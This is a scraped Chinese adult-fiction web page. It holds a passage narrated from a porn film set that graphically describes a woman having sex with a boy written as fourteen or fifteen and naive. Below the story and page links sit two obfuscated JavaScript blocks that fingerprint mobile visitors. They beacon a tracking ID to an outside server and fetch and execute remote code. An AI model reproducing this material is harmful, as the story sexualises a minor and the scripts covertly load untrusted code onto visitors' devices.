薛莉摇了摇头:“我不是指这个,”她将玩着卵蛋的手移到阴茎上圈着包皮反捋几下:“像这样弄,弄到它流出白色的东西,试过吗?”田俊茫然地想了一会,才答道:“几个月前试过一次,不过觉得越弄越难受,就没有再弄下去了。

白色的东西……嗯……我不知道。“

薛莉心中暗喜,想不到自己竟能搞到一个如假包换的处男,她继续施展出女人的魅力:“你没流过,可是姐姐现在下面就在流了耶,想不想看一下?”她由刚才给田俊吸乳头开始,阴户就不断冒水,相信到现在已泛滥成灾了。

薛莉把右腿跨过田俊胸口踩到沙发上,左脚微蹲,这样的姿势,刚好把整个成熟女性的生殖器官清清楚楚地展示在一个青涩年华的小男生眼前。田俊左看看右看看,搔搔头问道:“姐姐,怎么你的小鸡鸡不见了?那儿还裂开一条缝,掉出来的皮好像一只大肉蚌哩!”

“何止裂开一条缝,还穿了一个洞呐!”薛莉用手指捏着两片蚌唇拉开露出阴道口:“所以姐姐要靠你用鸡鸡把这个洞给塞住,这样它就不会再漏水了。”

也巧,话音刚落,正好就有一滴淫水滴到田俊的鼻尖上。

“这个容易,等下我就替你塞住。咦?姐姐你那里流出来的水好骚啊!”田俊擦擦鼻子,惊讶地说。“不过骚得来又有点香,”他竟把擦过鼻子的手指放进嘴里尝尝:“还有些咸咸的味道。”

田俊对着面前这个大肉蚌越看越好奇,疑问越来越多,一会翻弄着两片小阴唇问:“这么大块皮裂开两边,姐姐你不痛吗?”一会又有新发现,指着阴蒂嚷道:“姐姐,你裂缝上面长了颗大红疮,还肿起来了哩!”再不然就干脆把手指插进阴道里探探,四周搅动一下,看能不能找出漏水的源头。

薛莉的阴户给他这样东翻西挖的“研究”了一会,淫水已多到顺着大腿内侧往下流了,望望那根能为骚屄止痒的鸡巴,替这个少年破处的欲望越来越强;再望望挂钟,离老公回家的时间却越来越近,继续折腾下去,真怕自己忍不住会在家里把他就地正法,若被老公回来撞见,那就什么都完了,趁热打铁,立即下定主意引蛇入洞,将他带去酒店破身。

薛莉俯低头对田俊说:“哎呀,你看姐姐洞里的水越流越多了,得赶快把鸡鸡塞进去帮我堵住。来,穿回裤子,姐姐带你去找个地方办事。”

田俊正在兴头上,突被中断,不满地边穿着裤子边嘟哝道:“让人家多玩一会嘛!再说了,我还要上学,总不能天天都翘课把鸡鸡塞在你洞里头啊!”

“所以嘛,你一有空就要过来多帮姐姐塞洞洞。”薛莉摸摸他的头:“乖,一会姐姐再让你玩个够,还会教多你一个新游戏,但是姐姐这个病可不要随便对人说喔,不然姐姐以后就不再和你玩了,知道吗?”

“嗯。”田俊无可奈何地点了下头。

“卡!”导演非常满意地喊了一声,灯光全部熄暗下来。何昭领着田俊来到导演身边接受教诲,“不赖!不赖!”导演指着田俊说:“这小子有前途。”随即吩咐何昭:“拉大队去宵夜,庆贺旗开得胜。”

这个一气呵成的长镜头,想不到由新人担纲也能做到一个NG都没吃就可以顺利完成,看来田俊这小子对演戏倒有些天分,加上他身怀长物、脸孔俊秀,若假以时日,高山在A片界的首席交椅地位相信很快就会被田俊所代替。

不过以一个十七岁的少年去扮演十四、五岁的男童,总觉得有点美中不足,况且现在的小孩早熟,十四、五岁已懂很多事了,才不会像戏里那样白痴,但剧本既然这样写,加上田俊那副天真无邪的娃娃脸也着实能骗倒不少人,谁会傻得去认真深究?只要片子有销路,买的人看得爽,管他呢!

(三)

由于下一组镜头的布景是酒店房间,搭建场景需要好几天,本来最简单快捷的办法是租个实景来拍摄的,可是由于拍的是A片,老板不想太过张扬,这场戏决定还是照旧在货仓里演出。

一切准备工作都进行得很顺利,“Ready……”扩音器里传出导演的喊声,各人紧守岗位,射灯把酒店房门打亮得如同白昼。“Action!”导演一声令下,房门“喀嗒”应声而开,薛莉拖着田俊迈进房来。

薛莉把手袋往沙发上一扔,转身就将田俊搂到怀里,在他脸蛋上“啧啧啧”

连亲几口,再拉着他的手伸进自己腿间:“看,姐姐流的水多得连内裤都给沾湿透了,快!把鸡鸡掏出来帮姐姐塞住,姐姐等不及了!”

田俊对这从未到过的新环境相当好奇,举头在房间里东张西望,薛莉见他心不在焉的样子有点不耐烦了,心急地蹲到他身前主动帮他把裤子脱了下来。当那条既有童子的粉嫩色泽、又具有成年人尺寸的阴茎再次进入眼帘时,薛莉兴奋得整个人都酥了,情不自禁地一口就把它含进嘴里。

龟头受到舌尖舔撩而在嘴里慢慢膨胀的感觉实在太美妙了!“唿……唿……

唿……“薛莉鼻子喘着粗气,抱住田俊的屁股前后摆动着脑袋,对勃硬起来的阴茎作起了深喉,长长的肉棒子几乎下下都捅插进食道里去了。

尽管田俊对男女之事似懂非懂,但身体却自然地生出本能的欲望:“姐姐,姐姐,别再吸了……鸡鸡很难受,我想……我想把它放到你的洞洞里去……”

薛莉这时也正有此意,匆匆吐出鸡巴,三扒两拨就把田俊的衣服剥光,将赤裸裸的少年推到床上躺下,随即把自己亦脱到一丝不挂向他看齐。

田俊的阴茎给薛莉含吮一番后,已呈怒蛙状,龟头仿似蘑菇蕈子,棒身粗壮如柱,与身体成九十度角像根铁枝一样直指天花板。薛莉一跳上床便跨骑到田俊小腹上,一个是剑拔弩张,一个是水到渠成,双方皆已准备就绪,于是左手握着玉茎,右手撑开阴唇,放软身子往下一坐,“唧”的一声,竟全根套了进去。

我刚把镜头推近到两人交接处,准备捕捉性交画面,“卡!卡!NG!”导演突然气急败坏地大喊起来:“这是谁负责的?怎么做事嘛,连最基本的常识都没有,快处理好它。何昭!”

何昭连忙来到导演身边询问:“出了什么岔子了?”而田俊和薛莉两人不知哪里做错了,停了下来,但仍保持着插入的姿势愣在床上。

导演指着电脑现场即视屏的画面高声道:“新人不知道我不怪他,可你们却不是头一遭拍A片耶,这些东西怎不预先清除掉?快叫人搞定它!”

我和何昭一齐扭头向屏幕望去,那是由我那部摄影机传过来的大特写画面,上半部是薛莉的下体,不论是阴唇、屁眼,均巨细无遗,清晰得一目了然;下半部是田俊的卵袋,嗯……除了卵袋还是卵袋,其它东西都给黑麻麻的一大丛阴毛全遮住了,除非薛莉把阴户抬得很高才可见到一小截阴茎,否则整个画面的三分一全是黑漆漆一片。

何昭反应最快,连忙分派工作:“媚姐,帮帮忙清理一下。”很有默契,那边厢,媚姐已经在准备着工具了。

我这时也省悟过来,拍完高山的演出再拍田俊后,总觉得两者间有点什么不同,但又说不出哪儿有问题。现在回想起来,若留意一下A片大特写里的男女性器官,就会发现阴毛都经过仔细的修饰,除了在阴阜上留下一小撮作点辍外,其它全部剃光,以便两副性器在互动时,所有细节都可给摄入镜头,无一遗漏。

床上薛莉在田俊耳边轻语几句,田俊的脸微红起来,他让薛莉抬起屁股令鸡巴松脱,然后不好意思地走过去媚姐那边,张开双腿在化妆台前坐下。

媚姐看来经常要替演员们修辑阴毛,一切动作皆显得那么驾轻就熟,她先拿瓶刮胡喷沫轻摇几下,对着田俊的下体喷出一堆白泡,然后左手握阴茎,右手拿剃刀,由上而下逐一把茎干下半部的阴毛剃除;跟着将阴茎上推贴住小腹,刮掉阴囊四周最浓密部位的毛发,最后才细心处理卵袋皱皮上的稀疏散毛。

田俊的下体经过媚姐刮毛之后,果然给人耳目一新的感觉,所有器官无遮无掩,一览无遗。媚姐完事后拿条湿毛巾替田俊把生殖器擦拭干净,还在上面涂抹一些须后水,刺激毛孔加快收缩,消除由毛头渣子形成的小黑点,令皮肤看起来更加洁白滑熘。

田俊回到床上重新躺下,薛莉则跨站在他腰间,准备补拍上一组NG了的镜头。导演从电脑屏幕上看了一下近镜效果,非常满意,向何昭打了个“OK”手势,下令开始。

“偷恋隔墙花第3组18镜,Take2!”拍板一从镜头前移开,薛莉便抓起田俊的阴茎往自己洞口一塞,屁股一坐,巨蟒重陷湿泥潭,薛莉曲腿跪在田俊腰侧,反手到后面掰开自己两瓣臀肉,开始“叭叽、叭叽”地套动起来。

我小心地把镜头校准最好的角度,发现视觉效果的确与前大不相同,前几天拍摄口交过程时由于薛莉把包皮捋尽到根部,阴毛压伏下去,肉棒挺凸出来,还发觉不出有什么欠妥,此刻前后比对,果然高下立见,不单鸡巴在阴道出入的细节清楚玲珑,连小阴唇被鸡巴拖出牵入的动态也在镜头前活灵活现地表达出来。

薛莉一边耸动着屁股,一边轻抖着胸脯,令自己那对大奶子在田俊面前晃来晃去,引诱着他握到手中把玩:“小龙,姐姐弄得你的鸡鸡舒不舒服?你也来帮姐姐搓一搓胸部嘛,你看两团肉给震得乱摇,姐姐好难受啊!”

我打了个手势给肥波,示意他绕过去拍摄田俊玩奶子的画面,我则继续拍摄两人性交的大特写。田俊初尝云雨,鸡巴已给薛莉干得不亦乐乎,眼前又有一对大肉弹在上下抛荡,刺激得魂游世外,整个人轻飘飘的像腾云驾雾一般,闻言才猛然惊醒,一把向奶子抓去,紧握在掌中搓揉起来。

薛莉小屄里吞吐着鸡巴,奶子又让田俊困在五指山下,只不过半支烟工夫,淫水便像缺堤一样从阴道里奔流出来,镜头所见,两片小阴唇把男童的阴茎包裹得不留缝隙,只有抽出的刹那在棒身遗下一圈白色的滑液,随着尽顶回落,转眼又把阴茎吞噬得无影无踪,洼洼淫水把田俊的下体弄成了落汤鸡。

我望过去由肥波那部摄影机传过来的即视画面,薛莉的乳头已涨大为两粒红莲子,从田俊握着乳房的指缝间挺凸出外,薛莉醉眼如丝,檀口微张,丁香小舌半伸出嘴外舔舐着自己两片红唇,满足之情溢于言表。

田俊先前已尝过奶头的滋味,这次当然也不会放过,稍一昂身便叼着一颗,含在嘴里又吮又舔的吸啜一番,薛莉浑身一颤,“啊……”的低叫一声,软着身子伏到田俊胸口,舒服得连汗毛都竖了起来。

田俊始终是童子初次拜观音,加上薛莉爽得忘了形,不觉将坐莲的速度越坐越快,有节奏地起伏着的屁股仿似在浪涛上载浮载沉的一叶轻舟,把田俊往爆发的临界点一步步推去。虽然田俊射精的欲望迫在眉睫,可仍不知高潮为何物,匆匆吐出奶头,气喘吁吁地急叫:“姐姐,你停一停……我又想尿尿了……我……

我尿完了再帮你插洞洞好吗?“

薛莉此时也正频临高潮关头,哪容得他停下来,一把抱着田俊在床上打了个滚,变成男上女下压在自己身上,还恐怕他会抽身而出,弯起双腿勾着他屁股固定住,一边筛动着下体保持磨擦,一边淫叫着:“尿吧……你尿吧……就尿在姐姐里面好了……啊……不怕……姐姐不会怪你的……喔……喔……小鬼头……真硬呐……你插得姐姐也要尿了……”

田俊凭着本能笨拙地摆动下体,模仿薛莉刚才的动作让阴茎一插一拔在小屄里进出,薛莉则临床督导,扶着他腰肢纠正方向角度,帮助他加把劲狠干自己亢奋的阴户,誓要把他的童子精榨干得一滴不留。

田俊冲刺了十多下,那股有生以来第一次遇到的奇怪感觉又再次涌了上来,阴茎从未试过这么硬挺,龟头膨胀得好像快要爆炸,要尿尿的感觉实在没法再忍耐下去了,突然小腹一紧、腰眼一酸,体内一道又热又烫的东西从鸡鸡的开口喷射而出,吓得他边射边道歉:“喔喔……姐姐……对不起啊……我……我真的忍不住……尿了出来……尿到你里面去了……”

薛莉的阴道受到这股童精一烫,整个人像久旱的田野盼到了场及时雨,一松一紧地不停收缩,尽情吸收着这些春露甘霖,一边浑身打颤,一边拉着田俊的屁股令两人下阴紧贴,保持着肉棒抵在阴道最深处的状态,直到半滴童精都不剩地全部过档到自己屄里,才依依不舍地松开手,软摊在布满秽渍的大床上。

田俊懵懵懂懂地傻看着面前爽得几乎虚脱了过去的姐姐,搔破脑袋也搞不清楚为啥只撒了泡尿进她的洞里,便会让她舒服成这样,更奇怪怎么这次尿尿比以往任何一次都来得畅快,甚至还埋怨这泡尿竟然那么少,真希望能够没完没了的尿足一整天。

这时耳机里传来导演的指示,要我把镜头再扯近一些,拍摄田俊把阴茎拔出来后,薛莉阴道慢慢流出精液的情景。我调校好焦距,让薛莉的阴户占据了整个画面,刚好这时田俊的阴茎“噗”一声就滑出了阴道,人也随即挪开躺到一边。

薛莉尚未消化完高潮后的余波,阴户仍然处在兴奋状态,只见又红又胀的小阴唇向两边翻开成“人”字形,阴蒂硬挺挺地勃立在顶端,阴道口微微张开,每隔三、四秒就轻轻抽搐一下,一小股白色的精液从阴道里慢慢渗出,顺着股沟淌滴而下,积聚在屁眼的凹窝里,盛满了,又再向下流去。

“卡!”导演满意地大喊一声,鼓着掌站了起来,微笑着向床边走去,他拍拍田俊的肩膊,赞赏地说:“好,演得不错,有前途!你先歇一会,那东西上面的水先不要擦干,等下还要续拍,能接得上吗?”

“行!”田俊信心十足地应了一声,接过媚姐递过来的睡袍披上,坐到一边去了。媚姐用毛巾把薛莉阴户外的秽渍细心擦拭干净,薛莉这才娇体慵懒地撑身坐起,让媚姐帮她抹去额头上的香汗,梳发补妆,不时用眼角偷偷向田俊那边瞄过去,田俊初试啼声便一鸣惊人,看来连薛莉这个号称握鸡巴多过握筷子的A片皇后也不禁对这新入行的小子刮目相看。

休息了十五分钟左右,灯光又再度亮起,准备接拍下一组连续镜头,媚姐用喷壶向田俊差不多半干的阴茎上喷洒一些水分,令阴茎回复刚才湿淋淋的状态,“准备……”导演喊着:“开始!”我把画面逐渐拉远,对准了床上两人全身后就固定下来。

薛莉与田俊并排躺在床上喘着粗气,两人刚从高潮顶峰滑落,浑身乏力,累得连手指头也不愿动一动。过了好一会薛莉才魂魄重归体内,转身抱着刚被她夺去了童贞的小男孩,在他脸上“啧啧啧”连亲几口,春风满面地问道:“小龙,刚才的游戏好玩吧?”

田俊涨红着脸,腼腆地低声解释道:“对不起啊,姐姐……我不想的,但刚才真的忍不住,把小便尿到你里面去了,我……我……”

薛莉吃吃地笑了起来:“呵呵,姐姐不会怪你的,你没看见姐姐刚才舒服得很吗?嘻嘻,小鬼头,看不出来你庙小菩萨大,那根家伙这么厉害,差点把姐姐的命也取去了!”

薛莉口里说着,手又不由自主地弯到田俊胯下,把那根干得自己欲仙欲死的肉棒握入手中,爱不释手地把玩了起来。涂着鲜红蔻丹的手指轻握着幼嫩得像婴儿皮肤般的包皮慢慢地套动,看着粉红色的龟头一下下地从手掌中钻出来又缩进去,春心一阵荡漾,小屄又痒了起来,顾不得上面还沾满两人的分泌物,俯身一口就将它含进嘴里。

田俊躺在床上正乐着,忽见薛莉把自己的东西放入口中,急叫道:“姐姐,不要!上面有尿,脏……”薛莉咭的一声笑了出来,把龟头吐出口外,向小男孩上起了生理课:“不脏,姐姐喜欢。知道吗,你刚才射出来的白色东西不是尿,是精液,你已由小孩子变成大人了。”田俊傻呆呆的还弄不清楚状况,阴茎又被她含进了嘴里去。

尽管不久前才射过精,田俊受到如此强烈的直接刺激,半软的阴茎又再充血勃硬了起来。薛莉从口中的变化迅速知道自己的挑逗已收到预期效果,一边含着鸡巴深吞长吐,一边撩卷舌头专攻龟头这处敏感的薄弱点。田俊哪承受得住这般招待,颤抖着弓起身子,嚅嚅呐呐地说:“姐姐……姐姐……我很难受……又想把鸡鸡塞进你的洞里去……”

薛莉暗赞一声孺子可教,忙吐出鸡巴往后一躺,双腿叉开,拉起田俊伏到自己身上来,她边用左手两指撑开阴唇、右手握着阴茎探路,边对满面稚气的田俊灌输性知识:“姐姐是女生,下面不会长出鸡鸡,这个会流水的洞洞叫屄,是专门让你们男生把鸡鸡插进去的,所以现在你是在和姐姐肏屄。”

田俊还似懂非懂地愣着,薛莉驾轻就熟很快已把龟头对准了自己的阴道口,于是放开双手改为扳着田俊的腰,口里叫着:“来,自己插进去,就像刚才干姐姐那样,用你的大鸡鸡狠肏姐姐的屄,射精到姐姐里面!”

田俊相隔短短时间又再旧地重游,凭借刚才实践的心得,毫无困难就掌握到要诀,硬起腰干向前一挺,只觉龟头顺着一条湿滑的通道长驱直入,刹那间,整支阴茎就被一层温暖潮湿的皮肤完全包围,舒服得难以形容,而且这个紧密地包裹着阴茎的皮管还会轻轻蠕动,好像要把阴茎牵引入洞穴的最深处,然后全根吞噬进对方体内。

我推着摄影机绕到田俊背后,薛莉已自动举起双腿勾在田俊腰间,令自己下体离床向上翘起,又低声提醒田俊:“摄影机在你后面,身体抬高一些,两脚往两边跪开,别挡着镜头拍摄。”幸而不是现场收音,否则这句不是台词的对白可就会令整组镜头穿崩了。

田俊把膝盖跪到薛莉纤腰两侧,双腿八字形分开,屁股升高,将胯下春光尽可能清晰地暴露出来,我把镜头由全身远景摇近去交合部位,调整为大特写,而肥波也遵照导演的指示放弃了原先使用的座立式摄影机,扛着一台轻便小型机跳上床,跨站在薛莉上面,将镜头对准两人交媾着的生殖器。

田俊撑起上半身,下体紧贴薛莉的阴户,先作一次深唿吸,酝酿一下情绪,然后便开始前后摆动抽送起来。“男的身体再靠前点,垂直向下插!”导演的声音从扩音器里传出,田俊连忙调整一下姿势,用大腿把薛莉的双脚推前顶高,令阴户朝天张开,鸡巴则像杵臼的杖槌般往下直插,仿佛打桩一样的力捣进去。

我和肥波两人一前一后捕捉着眼前令人血脉沸腾的性交场面,这些珍贵的镜头将会剪辑成精彩的色情影片,销售到世界各地,在好此道者家中的电视荧幕上一遍遍地播放出来,成为夫妇房事中增添乐趣的催情剂,又或者作为孤家寡人的独身汉深夜排遣寂寞之首选节目,更是打手枪时联想翩翩的最佳辅佐工具。

田俊年轻力壮,血气方刚,像一台不知疲倦的性交机器,纵横驰骋,卖力抽送,把薛莉的小屄肏得淫水四溅,噗唧作响。薛莉也不甘示弱,两片小阴唇紧紧地裹贴在阴茎的包皮上,无论是插入或是抽出,它都如影随形,不舍不离,跟随着进退反来覆去;阴道像张永远吃不饱的小馋嘴,不管阴茎插得多深入,它都贪婪地全根吞没,假若卵袋能够塞得进去,相信它也会照吞如仪。

“啊……小龙,你真强……姐姐爱死你了……喔……喔……对,就是这样,可以再快点……嗯嗯……揉揉姐姐的乳房……噢……姐姐离不开你了……”薛莉的腰像蛇一样扭动,开始发出叫床声,淫水犹如关不牢的水龙头,滴滴答答的流个不停,阴蒂渐渐涨大凸起,在画面里抢去不少风头。

田俊初出茅芦,自然不会玩弄多少招式,只懂压在薛莉身上专心向小屄猛攻力插,同时还要腾出一只手去搓揉乳房,额角开始冒出粒粒汗珠,唿气也变得急促起来。薛莉也好不到哪里去,田俊的鸡巴又长又硬,下下都捅到阴道尽头,子宫颈受到龟头连续不断的重击,浑身酸麻得几乎失禁,差点连尿都泄了出来。

“小……小龙,姐姐……哎唷……这下又戳中姐姐的花心了……啊……姐姐受不了你这样插……喔!又一下……不行了……不行了……你停停……让姐姐回回气再来……天啊……小鬼你怎么这样厉害……姐姐要被你干死了……”

照理薛莉身经百战,收放自如,此刻又怎会败在一个小毛头的胯下?我不知究竟是她戏假情真,给田俊肏出了快感,还是演技已达炉火纯青,让人分不出虚实,无论如何,她脸上露出的却实实在在是一个偷情少妇放开怀抱尽情纵欲,充份享受性爱乐趣的淫荡表情。

田俊听话地停了下来,薛莉喘了好一会,才有气无力地拍拍他屁股说:“这个姿势插得太深,姐姐的花心都给你撞麻了……唿……你也累了吧……唿……换过另一种方式,你躺下不用动……唿……让姐姐自己来……”

田俊依言乖乖转身躺下,我也把镜头拉远为全身,将摄影机推到他们身侧,肥波放下小型机,回到原先位置继续拍摄。年青人不愧是年青人,田俊虽然不久前才发射过一炮,鸡巴却不单毫无疲态,反而在阴道里抽插过一轮后,这时更胜当初,头角峥嵘,青筋微凸,得意洋洋地在摇头晃脑。

薛莉望着这擎天一柱仿佛又恢复了干劲,二话不说立即翻身上马,她骑跨在田俊上面双腿微蹲,筛动屁股调整一下方位,待阴唇刚一触及龟头便全身往下坐落,仗赖着充沛淫水的帮助,阴茎毫不费劲便自动滑入了桃花洞中。

这次主动权掌握在薛莉手中,快慢随意,深浅由人,最后鹿死谁手还是个未知数,既然阵势已经摆开,那就先干一场硬仗再算。薛莉虽然控制着全程操作,但全身体重却聚集在这方寸之地,每次坐下阴茎依然能直捣黄龙,花心免不了又再成为箭靶,虽说可调校至蜻蜓点水般轻碰即离,但积少成多,快感一来就阵脚大乱,难保到时又会溃不成军。

在田俊方面,虽然不用自己抽插节省了体力,但始终把柄是夹在人家屄里,要收就收,要放就放,由不得自己作主张,万一在紧张关头被她用力挤压几下,任你是铁打罗汉也得乖乖俯首称臣。不过也有乘虚而入的空子,可以趁她吞吐到得意忘形的时候去进行偷袭,例如揉揉阴蒂或是搓搓乳房,一样能有机会取胜。

薛莉筛一筛屁股先让阴道适应一下插在里面的肉棒,然后俯前上身把双手撑在田俊胸膛,开始抬起下体去套动阴茎。我把拍摄全景的任务交给肥波,自己仍然负责去处理大特写。

镜头一路拉近,画面越来越清晰,已经逐渐习惯了这种刺激场面的鸡巴,不由得又再发硬翘了起来,把裤裆顶起了一大包,幸而大家的注意力全集中在床上两人身上,我才不致当众出丑。

只见薛莉用阴道把田俊的鸡巴牢牢裹住,往上提起时连带包皮也一并捋高,到龟头差不多熘出洞口了,才适时地使劲坐下,将包皮反褪到尽根,可以想像田俊的阴茎此刻在阴道里受到的刺激有多大。

果然,到了三百下左右,田俊粉红的阴茎开始变深色,青筋也更形怒凸,硬度空前坚挺,凭男人的经验,我知道田俊这时已开始生出反应,阴茎充血膨胀,龟头发大,倘若薛莉一鼓作气乘胜追击,不难迅速令他缴械投降。

田俊也知道自己的处境,于是使出招数反击,依照剧本扮作无知地往薛莉胯下一看,惊叫道:“姐姐!姐姐!你下面那粒大红疮又肿起来了!”伸手到阴户上拨开阴唇,捏着阴蒂轻轻揉压几下,薛莉登时浑身打颤,“喔!喔!喔!”地哼着,全身软了下来,再也顾不上套动了。

田俊的注意力又转到了薛莉胸前大奶子顶端的两颗红葡萄上,他一手一粒夹在指间搓拧扭擦,玩个不亦乐乎,倒是薛莉上下受敌,开始节节败退,原先威风凛凛的神气样现在已变成宛转娇啼,战况顷刻三百六十度逆转。

田俊落井下石,趁薛莉阵脚大乱,双手捧起她的屁股,挺耸着自己的下体主动抽插着薛莉的阴户。薛莉一波未平一波又起,像疯了一样把脑袋左右乱甩,披头散发,咬牙切齿,抓着自己的乳房猛搓一通,向极乐高潮又迈前一步。

田俊无师自通,把薛莉抱在怀里昂身坐起,变成两人相拥着同坐在床上,薛莉骑着田俊的大腿,鸡巴仍然插在阴道里,一边握着自己的乳房把奶头送进田俊嘴中,一边跃动身体使肏屄的动作不致停顿。

两人胯下都沾满了黏煳煳的淫水,生殖器更是湿得一塌煳涂,各人阴阜上仅有的一小撮阴毛,早已如漆似胶地混作一团,分不清到底哪些属谁,只有分开的刹那,才依依不舍地各自归位,但毛发间已拉出无数条由淫水造成的晶莹细丝。

“小鬼……你真棒喔 放大文字 缩小文字 这文很赞(0) 一般般啦(0) 收藏此文(0) 分享此文


上一篇:金瓶梅改编-春楼妈妈的调教

下一篇:仙道炼心(情色版)-第五集 第一章 闺声远播


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};